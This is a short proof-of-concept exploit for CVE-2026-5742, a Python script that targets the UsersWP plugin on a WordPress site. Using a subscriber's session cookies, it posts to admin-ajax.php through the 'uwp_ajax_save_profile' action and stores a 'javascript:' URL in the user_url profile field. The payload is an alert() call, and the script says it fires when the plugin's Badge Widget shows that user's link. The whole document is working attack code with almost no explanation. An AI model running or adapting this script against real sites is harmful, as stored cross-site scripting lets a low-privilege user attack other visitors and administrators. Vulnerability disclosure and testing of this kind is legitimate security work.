CVE-2026-5742

import requests # Target URL url = "http://target-wordpress.com/wp-admin/admin-ajax.php" # Attacker cookies (Subscriber role) cookies = { "wordpress_logged_in_abc123": "session_id_here" } # Malicious payload injected into URL field # Using javascript: protocol to trigger XSS when the link is rendered/hovered payload = "javascript:alert('CVE-2026-5742_PoC');" # Form data for profile update # 'user_url' is the common field name for user website in WordPress post_data = { "action": "uwp_ajax_save_profile", "form_data": { "user_url": payload } } response = requests.post(url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Trigger: Navigate to a page displaying the UsersWP Badge Widget for this user.") else: print("[-] Injection failed.")

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